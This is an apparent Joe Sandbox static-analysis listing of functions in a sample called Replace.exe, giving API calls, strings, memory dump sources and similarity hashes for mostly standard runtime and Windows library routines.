API String ID: 161543041-0
Opcode ID: 5f70490e72530e73b2320b774cafa44797eae7745025dbd2ab47a980c8581119
Instruction ID: f0e9217ea5a4f02fa37416025d646fcef4b351f18418acac29a36d8cc5cc5789
Opcode Fuzzy Hash: 5f70490e72530e73b2320b774cafa44797eae7745025dbd2ab47a980c8581119
Instruction Fuzzy Hash: B8315C31604601AFEB21AA78D985B96F7E8EF01310F1048EBE596D7391FF72EC808B14

Uniqueness

Uniqueness Score: -1.00%

Function 00BB4473 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 78librarystringloaderCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?), ref: 00BB4499
GetModuleHandleA.KERNEL32(kernel32.dll,SetDefaultDllDirectories), ref: 00BB44B9
GetProcAddress.KERNEL32(00000000), ref: 00BB44C0
GetSystemDirectoryW.KERNEL32(?,00000106), ref: 00BB44E2
lstrlenW.KERNEL32(?), ref: 00BB44F7
lstrcatW.KERNEL32(?,.dll), ref: 00BB453E
LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 00BB454C

Strings

SetDefaultDllDirectories, xrefs: 00BB44AF
.dll, xrefs: 00BB4535
kernel32.dll, xrefs: 00BB44B4
UXTHEME, xrefs: 00BB450D, 00BB4515

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemVersionlstrcatlstrlen
String ID: .dll$SetDefaultDllDirectories$UXTHEME$kernel32.dll
API String ID: 532070074-1956823469
Opcode ID: ee4304279c61602bef03ca50188f696debc3e68945a3bcda59ddd9cdb11bb87d
Instruction ID: b2b80ea13b75ec7269b693b905b691d7cab21d336fbb4a4aa7c1cb297de85093
Opcode Fuzzy Hash: ee4304279c61602bef03ca50188f696debc3e68945a3bcda59ddd9cdb11bb87d
Instruction Fuzzy Hash: 9221713151024A9BDB209FA8D858BEEB7E8FF14701F04049AE542E7191EFB4D658CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00BCF21B Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 304COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 00BCF318
type_info::operator==.LIBVCRUNTIME ref: 00BCF33A
___TypeMatch.LIBVCRUNTIME ref: 00BCF449
IsInExceptionSpec.LIBVCRUNTIME ref: 00BCF51B
_UnwindNestedFrames.LIBCMT ref: 00BCF59F
CallUnexpected.LIBVCRUNTIME ref: 00BCF5BA

Strings

csm, xrefs: 00BCF2C5
csm, xrefs: 00BCF371
csm, xrefs: 00BCF258

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: ExceptionSpec$CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2123188842-393685449
Opcode ID: db2bf2bdeb2fac0b3bb2f1c87693baef7a984be17ba83582404e811329fc48e3
Instruction ID: bbba7f6afec50516a401d7e0a600cac06e5528f1cc4773483b5d6deeb2603425
Opcode Fuzzy Hash: db2bf2bdeb2fac0b3bb2f1c87693baef7a984be17ba83582404e811329fc48e3
Instruction Fuzzy Hash: 52B1127190020AEBCF29DFA4C981EAEBBF6FF54310B1441EEE9156B212D731DA51CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00BB7F11 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 61windowCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 00BB7F32
LeaveCriticalSection.KERNEL32(?), ref: 00BB7F3E
EnterCriticalSection.KERNEL32(?), ref: 00BB7F41
LeaveCriticalSection.KERNEL32 ref: 00BB7F48
MessageBoxW.USER32(?,Are you sure you want to cancel?,?,00000003), ref: 00BB7F5F
EnterCriticalSection.KERNEL32(?), ref: 00BB7F72
LeaveCriticalSection.KERNEL32(?), ref: 00BB7F78
EndDialog.USER32(?,00000000), ref: 00BB7F9A

Strings

Are you sure you want to cancel?, xrefs: 00BB7F57

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: CriticalSection$EnterLeave$DialogMessage
String ID: Are you sure you want to cancel?
API String ID: 2225717242-577246718
Opcode ID: 2191eed79d172634fd41aa334c9595e03079619263811334f5e5b05144bf27f8
Instruction ID: a7885743aeceb53a4dcbdf912f99ba97128b68c6e3abbaa995c4d161742efd05
Opcode Fuzzy Hash: 2191eed79d172634fd41aa334c9595e03079619263811334f5e5b05144bf27f8
Instruction Fuzzy Hash: 0E11BF3114C288EFC710AF29DC48F6AFFE9EF95314F05048EF48497261CBA1A814CB65

Uniqueness

Uniqueness Score: -1.00%

Function 00BD1E5B Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00BD1E71

Part of subcall function 00BD1BFB: RtlFreeHeap.NTDLL(00000000,00000000,?,00BD42C9,?,00000000,?,00000001,?,00BD42F0,?,00000007,?,?,00BD4716,?), ref: 00BD1C11
Part of subcall function 00BD1BFB: GetLastError.KERNEL32(?,?,00BD42C9,?,00000000,?,00000001,?,00BD42F0,?,00000007,?,?,00BD4716,?,?), ref: 00BD1C23

_free.LIBCMT ref: 00BD1E7D
_free.LIBCMT ref: 00BD1E88
_free.LIBCMT ref: 00BD1E93
_free.LIBCMT ref: 00BD1E9E
_free.LIBCMT ref: 00BD1EA9
_free.LIBCMT ref: 00BD1EB4
_free.LIBCMT ref: 00BD1EBF
_free.LIBCMT ref: 00BD1ECA
_free.LIBCMT ref: 00BD1ED8

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 57e3b346f35d3ac13f07c6da528a0f122eb80c78b4305754191893b61f03901d
Instruction ID: 2d08d759e1ff9f8b7e9c0ea79e5e20bcc0ee8cb58197c6df040ce78cee5a32d4
Opcode Fuzzy Hash: 57e3b346f35d3ac13f07c6da528a0f122eb80c78b4305754191893b61f03901d
Instruction Fuzzy Hash: AB217776905108BFCB41EF98C981DDDBBB5AF08340B0185A7F6559B221FA31DA458F80

Uniqueness

Uniqueness Score: -1.00%

Function 00BB1000 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 14libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll), ref: 00BB1006
GetProcAddress.KERNEL32(00000000,FindFirstStreamW), ref: 00BB1014
GetProcAddress.KERNEL32(00000000,FindNextStreamW), ref: 00BB1025

Strings

FindFirstStreamW, xrefs: 00BB100E
u, xrefs: 00BB102B
kernel32.dll, xrefs: 00BB1001
FindNextStreamW, xrefs: 00BB101A

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: FindFirstStreamW$FindNextStreamW$kernel32.dll$ u
API String ID: 667068680-3382339687
Opcode ID: 7c9cc7747ba7f604db9a387c129374c87da3cb7860f1c50c011d60447652f53c
Instruction ID: f8e0d4069f3ae901ce1ce5a7ef0ad187405e39ad74ced9e0398896c52d2c673d
Opcode Fuzzy Hash: 7c9cc7747ba7f604db9a387c129374c87da3cb7860f1c50c011d60447652f53c
Instruction Fuzzy Hash: 61D09E72999247DB83005BA5BC6EC3ABBA8F695B4230144AFF41293375FFB444018B10

Uniqueness

Uniqueness Score: -1.00%

Function 00BCDB70 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00BCDBA7
___except_validate_context_record.LIBVCRUNTIME ref: 00BCDBAF
_ValidateLocalCookies.LIBCMT ref: 00BCDC38
__IsNonwritableInCurrentImage.LIBCMT ref: 00BCDC63
_ValidateLocalCookies.LIBCMT ref: 00BCDCB8

Strings

csm, xrefs: 00BCDC4D

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 1f753ce7312c9cfd19b9439ab43d2031710adda67f9ab8bd385e2c3eb4fb2d41
Instruction ID: 66f9004ef3a644af7d674fbf1975fc2d85a54aaf0a36757360ff4ae8198a01c0
Opcode Fuzzy Hash: 1f753ce7312c9cfd19b9439ab43d2031710adda67f9ab8bd385e2c3eb4fb2d41
Instruction Fuzzy Hash: B0416138A00219ABCF10DF68C895FAFBBF5EF45324F1481E9E9159B352D7719A11CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00BD42D7 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00BD429F: _free.LIBCMT ref: 00BD42C4

_free.LIBCMT ref: 00BD4325

Part of subcall function 00BD1BFB: RtlFreeHeap.NTDLL(00000000,00000000,?,00BD42C9,?,00000000,?,00000001,?,00BD42F0,?,00000007,?,?,00BD4716,?), ref: 00BD1C11
Part of subcall function 00BD1BFB: GetLastError.KERNEL32(?,?,00BD42C9,?,00000000,?,00000001,?,00BD42F0,?,00000007,?,?,00BD4716,?,?), ref: 00BD1C23

_free.LIBCMT ref: 00BD4330
_free.LIBCMT ref: 00BD433B
_free.LIBCMT ref: 00BD438F
_free.LIBCMT ref: 00BD439A
_free.LIBCMT ref: 00BD43A5
_free.LIBCMT ref: 00BD43B0

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: b5963aa43858a3eeaa73d934842b9e026f453944b06c28224dffe2d9edd7b786
Instruction ID: d3f3db36a5ba575dffc2ac8347b9f0ba31b060ba750e6640680319c044c6cc73
Opcode Fuzzy Hash: b5963aa43858a3eeaa73d934842b9e026f453944b06c28224dffe2d9edd7b786
Instruction Fuzzy Hash: 3D112C71695B08BBD560B7B0CC87FCBF7ECAF14700F410C57B29966252FB75A5144A50

Uniqueness

Uniqueness Score: -1.00%

Function 00BD61B7 Relevance: 9.3, APIs: 6, Instructions: 317fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(?,00000000,?), ref: 00BD61FF
__fassign.LIBCMT ref: 00BD63E4
__fassign.LIBCMT ref: 00BD6401
WriteFile.KERNEL32(?,00000020,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00BD6449
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00BD6489
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 00BD6531

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: FileWrite__fassign$ConsoleErrorLastOutput
String ID:
API String ID: 1735259414-0
Opcode ID: 9ddaf62b7e19460f85c8cc086272b4563ea6e482ee68e838591ba70f27f9b02e
Instruction ID: 554f26c298ffc24d443d1ca591e65ae19e1fb0fc36f2e646f72e89ab9637a807
Opcode Fuzzy Hash: 9ddaf62b7e19460f85c8cc086272b4563ea6e482ee68e838591ba70f27f9b02e
Instruction Fuzzy Hash: 11C15C75D012589FCB15CFA8D8809EDFBF5EF18314F2841AAE855AB341E6319E46CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00BCEEE4 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00BCEEDB,00BCDB17,00BCCB7A), ref: 00BCEEF2
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00BCEF00
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00BCEF19
SetLastError.KERNEL32(00000000,00BCEEDB,00BCDB17,00BCCB7A), ref: 00BCEF6B

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: ee89ea4e343fd0658ef53dc38d35cb9c7b171c294dfd12850802be4d4170b83f
Instruction ID: 4b81c132eb1438f4fe2b20140c36142ba56347bc64af7dc94ab9fcb064c91e27
Opcode Fuzzy Hash: ee89ea4e343fd0658ef53dc38d35cb9c7b171c294dfd12850802be4d4170b83f
Instruction Fuzzy Hash: 1C01F13221D326EEB62526747CC5F2B6BD8EB217B5B2002AFF1218A2E2FF118C005140

Uniqueness

Uniqueness Score: -1.00%

Function 00BD309D Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\Replace.exe, xrefs: 00BD30A2

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID:
String ID: C:\Users\user\Desktop\Replace.exe
API String ID: 0-2253954093
Opcode ID: 4b07a580d5bc26d4f5bdb1a9ca07d6cb025d15876e01d551bdc8c29572dc0e19
Instruction ID: 28bd0758609c58e14a0f34cb949a0946644187aab4e875e846dea5f4e5208ccc
Opcode Fuzzy Hash: 4b07a580d5bc26d4f5bdb1a9ca07d6cb025d15876e01d551bdc8c29572dc0e19
Instruction Fuzzy Hash: 4E218071204206BFDB20ABA58CC1D6BF7ECEB00B6471046A7F515A7352FB31EE4187A2

Uniqueness

Uniqueness Score: -1.00%

Function 00BCFF52 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,?,?,00BD0013,?,?,00BE76BC,00000000,?,00BD013E,00000004,InitializeCriticalSectionEx,00BDBDDC,InitializeCriticalSectionEx,00000000), ref: 00BCFFE2

Strings

api-ms-, xrefs: 00BCFFA2

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: 1891234f33d74544966370d9575b85daddcb29743e5085476902564f56db85cd
Instruction ID: 88b47de9793e78087f862d5826059eb9b321c7912abc883c6d2771f983989eb1
Opcode Fuzzy Hash: 1891234f33d74544966370d9575b85daddcb29743e5085476902564f56db85cd
Instruction Fuzzy Hash: B2119431A42226EBCB329B689C40F6E77D5EF02760F1505FEE955E7280EB60ED0086D4

Uniqueness

Uniqueness Score: -1.00%

Function 00BD0FD6 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,00BD0FC8,?,?,00BD0F90,?,?,?), ref: 00BD0FEB
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00BD0FFE
FreeLibrary.KERNEL32(00000000,?,?,00BD0FC8,?,?,00BD0F90,?,?,?), ref: 00BD1021

Strings

mscoree.dll, xrefs: 00BD0FE4
CorExitProcess, xrefs: 00BD0FF6

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: ce6b43bf65ef45ad12917a4fbbb619644f6577ef3e67d12cede1787353750afd
Instruction ID: 9b39599c3cd8956086f6f8c49db01852570aa4d9bf6d1220743bdaeee2a4fe89
Opcode Fuzzy Hash: ce6b43bf65ef45ad12917a4fbbb619644f6577ef3e67d12cede1787353750afd
Instruction Fuzzy Hash: 64F08231901219FBCB21AB54DC19F9EFBB8EB04756F010096E400A3260EF748E40EB90

Uniqueness

Uniqueness Score: -1.00%

Function 00BB1270 Relevance: 7.6, APIs: 5, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5dfde5d9db4e556fb90d3825854bbf0a35390cb83f3d155f10ace826a719baa6
Instruction ID: 975db0004c3c766bf1d36eb48f28b38c2032daa853c1f382d012a0ad782dfee3
Opcode Fuzzy Hash: 5dfde5d9db4e556fb90d3825854bbf0a35390cb83f3d155f10ace826a719baa6
Instruction Fuzzy Hash: 5811727590121DEBEB10ABA89CA4DFFB3ECEB04750B8548A6E952D3540EBB49D048A64

Uniqueness

Uniqueness Score: -1.00%

Function 00BD4236 Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00BD424E

Part of subcall function 00BD1BFB: RtlFreeHeap.NTDLL(00000000,00000000,?,00BD42C9,?,00000000,?,00000001,?,00BD42F0,?,00000007,?,?,00BD4716,?), ref: 00BD1C11
Part of subcall function 00BD1BFB: GetLastError.KERNEL32(?,?,00BD42C9,?,00000000,?,00000001,?,00BD42F0,?,00000007,?,?,00BD4716,?,?), ref: 00BD1C23

_free.LIBCMT ref: 00BD4260
_free.LIBCMT ref: 00BD4272
_free.LIBCMT ref: 00BD4284
_free.LIBCMT ref: 00BD4296

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: a6d834771e8c14cad08c139b658d696a49d5a496b287ea207789e3ec5c4fa485
Instruction ID: 0649052c193ce398176a48b8b5d3a8e84e6082c24a77092a44633a605021f491
Opcode Fuzzy Hash: a6d834771e8c14cad08c139b658d696a49d5a496b287ea207789e3ec5c4fa485
Instruction Fuzzy Hash: 56F0FF725292406F8624EB6CE5C6C5AF3E9EA147507540D8BF184DB701EF31FC804E64

Uniqueness

Uniqueness Score: -1.00%

Function 00BB7BA9 Relevance: 7.5, APIs: 6, Instructions: 34sleepCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00BB7BB6
EnterCriticalSection.KERNEL32 ref: 00BB7BC1
LeaveCriticalSection.KERNEL32 ref: 00BB7BC7
Sleep.KERNEL32(00000064), ref: 00BB7BCF
EnterCriticalSection.KERNEL32 ref: 00BB7BD6
LeaveCriticalSection.KERNEL32 ref: 00BB7BDC

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: CriticalSection$Enter$Leave$Sleep
String ID:
API String ID: 2452663664-0
Opcode ID: ffc21e6261e67874a9ba6f896b7ab50ae5a9f6de474ad48da135090709125539
Instruction ID: d044b973b295935455f2e2193873621819c22cf0ecbf87bbfd3d54f1dd3c421f
Opcode Fuzzy Hash: ffc21e6261e67874a9ba6f896b7ab50ae5a9f6de474ad48da135090709125539
Instruction Fuzzy Hash: A9E0E5122CB618E7823123751C30DFBEBDC8E9725130A0446E38093210DFD558014AA4

Uniqueness

Uniqueness Score: -1.00%

Function 00BB1E8F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 87COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 00BB1EC5
GetLastError.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00000075), ref: 00BB1ED1
WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,?,?,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 00BB1F3C

Strings

_, xrefs: 00BB1E96

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID: _
API String ID: 1717984340-701932520
Opcode ID: f8cb6c62b10f06861b4b3e344937778c1b80d72e9fc3f4c9a1563f4e43eec709
Instruction ID: b7eb754de67549823eb2eafb4842fccc3449be41f405a4f5e5cd69411fcd9886
Opcode Fuzzy Hash: f8cb6c62b10f06861b4b3e344937778c1b80d72e9fc3f4c9a1563f4e43eec709
Instruction Fuzzy Hash: 16317870108346EFDB15CF19D854ABBBBE9EF95304F04886DF09486210E3B0DD08DB62

Uniqueness

Uniqueness Score: -1.00%

Function 00BCEFC4 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00BCF08B
___AdjustPointer.LIBCMT ref: 00BCF0AE
___AdjustPointer.LIBCMT ref: 00BCF14A

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
